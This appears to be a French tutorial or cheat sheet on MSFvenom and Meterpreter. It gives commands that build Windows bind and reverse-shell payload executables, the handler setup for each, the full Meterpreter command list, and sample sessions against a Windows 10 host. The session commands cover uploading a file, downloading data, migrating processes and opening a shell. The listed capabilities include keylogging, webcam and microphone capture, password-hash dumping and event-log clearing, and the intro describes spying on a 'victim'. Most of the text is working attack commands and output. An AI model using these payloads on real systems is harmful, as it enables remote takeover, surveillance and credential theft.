MSFvenom
MSFvenom est un générateur de payload autonome faisant partie de la suite Metasploit. Un payload est un fichier malveillant et son but est d’obtenir des informations sur la machine sur laquelle il est exécuté. Il existe beaucoup de types de payload, en voici un bel assortiment spécialement conçu pour s’adapter à toutes les situations sur une machine Windows. Ici nous pouvons générer des PL shell ou meterpreter mais quelle est la différence ? Un shell c’est basique c’est juste l’invité de commandes, alors qu’un meterpreter lui permet de lancer des commandes bien différentes, tout en conservant l’accès au shell basique. On peut lui demander par exemple d’enregistrer l’écran de la victime, accéder à sa webcam, extraire ses mots de passe et bien plus encore.
Installation de MSFVenom
apt install metasploit-framework
Le Bind Shell
msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/Bureau/bind.exe
sudo msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.0.100
rhost => 192.168.0.100
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.0.100:4444
Le Reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.100 lport=5555 -f exe > /home/kali/Bureau/reverse_tcp.exe
sudo msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > exploit
Le HTTP payload
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.107 lport=443 -f exe > /home/kali/Bureau/reverse_https.exe
sudo msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > exploit
Le Netcat Reverse Shell
msfvenom -p windows/shell_reverse_tcp ahost=192.168.0.107 lport=1111 -f exe > /home/kali/Bureau/ncshell.exe
sudo msfconsole
nc -lvp 1111
Commandes Meterpreter
Core Commands
=============
Command Description
——- ———–
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unic Disables encoding of unicode strings
ode_encoding
enable_unico Enables encoding of unicode strings
de_encoding
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for « load »
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
——- ———–
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
——- ———–
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
——- ———–
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_sen Send keystrokes
d
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_star Start capturing keystrokes
t
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
——- ———–
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_strea Play a video stream from the specified webcam
m
Stdapi: Audio Output Commands
=============================
Command Description
——- ———–
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
——- ———–
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
——- ———–
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
——- ———–
timestomp Manipulate file MACE attributes
CD / PWD
meterpreter > cd c:
meterpreter > pwd
C:\Users\User\Desktop
LS
meterpreter > ls
Listing: C:\Users\User\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2023-08-17 15:51:04 +0200 Chrome
100666/rw-rw-rw- 282 fil 2023-08-17 14:27:58 +0200 desktop.ini
CAT
meterpreter > cat file.txt
Hi, I'm a file
BACKGROUND
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter >
SYSINFO
meterpreter > sysinfo
Computer : DESKTOP-515CFSD
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : fr_FR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
PS / KILL
6608 4260 notepad.exe x64 1 DESKTOP-515CFSD\User C:\Windows\System32\notepad.exe
6672 692 svchost.exe
6676 692 SecurityHealthService.exe
6728 844 RuntimeBroker.exe x64 1 DESKTOP-515CFSD\User C:\Windows\System32\RuntimeBroker.exe
6876 4260 OneDrive.exe x86 1 DESKTOP-515CFSD\User C:\Users\User\AppData\Local\Microsoft\OneDrive\OneDrive.exe
7184 648 explorer.exe x64 1 DESKTOP-515CFSD\User C:\Windows\explorer.exe
meterpreter > kill 6608
Killing: 6608
DOWNLOAD / UPLOAD
meterpreter > upload /root/malicious_file
[*] Uploading : /root/malicious_file -> malicious_file
[*] Completed : /root/malicious_file -> malicious_file
meterpreter > download file.txt
[*] Downloading: file.txt -> /root/file.txt
[*] Downloaded 16.00 B of 16.00 B (100.0%): file.txt -> /root/file.txt
[*] Completed : file.txt -> /root/file.txt
EDIT
meterpreter > edit file.txt
Hi, I'm a file
~
~
~
~
EXECUTE
meterpreter > execute -f cmd.exe -i -H
Process 4540 created.
Channel 12 created.
Microsoft Windows [version 10.0.19045.3324]
(c) Microsoft Corporation. Tous droits r�serv�s.
C:\Users\User\Desktop>
GETUID
meterpreter > getuid
Server username: DESKTOP-515CFSD\User
IDLETIME
meterpreter > idletime
User has been idle for: 2 mins 13 secs
IPCONFIG
meterpreter > ipconfig
Interface 6
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 0e:df:b3:8b:9d:86
MTU : 1500
IPv4 Address : 129.2.32.139
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::e108:439f:9e72:502
IPv6 Netmask : ffff:ffff:ffff:ffff::
MIGRATE
meterpreter > run post/windows/manage/migrate
[*] Running module against DESKTOP-515CFSD
[*] Current server process: Chrome.exe (3976)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 6960
[+] Successfully migrated into process 6960
RESOURCE
meterpreter > resource
Usage: resource path1 [path2 ...]
meterpreter > resource instruction.txt
[-] instruction.txt is not a valid resource file
meterpreter > resource resource.txt
[*] Processing resource.txt for ERB directives.
resource (resource.txt)> cd c:
resource (resource.txt)> ls
Listing: C:\Users\User\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2023-08-17 15:51:04 +0200 Chrome
100666/rw-rw-rw- 282 fil 2023-08-17 14:27:58 +0200 desktop.ini
100666/rw-rw-rw- 16 fil 2023-08-17 16:57:25 +0200 file.txt
100666/rw-rw-rw- 0 fil 2023-08-17 16:54:07 +0200 malicious_file
resource (resource.txt)> mkdir Hello
Creating directory: Hello
resource (resource.txt)> background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
SEARCH
meterpreter > search -f file.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\User\Desktop\file.txt 16 2023-08-17 16:57:25 +0200
SHELL
meterpreter > shell
Process 6944 created.
Channel 2 created.
Microsoft Windows [version 10.0.19045.3324]
(c) Microsoft Corporation. Tous droits r�serv�s.
C:\Users\User\Desktop>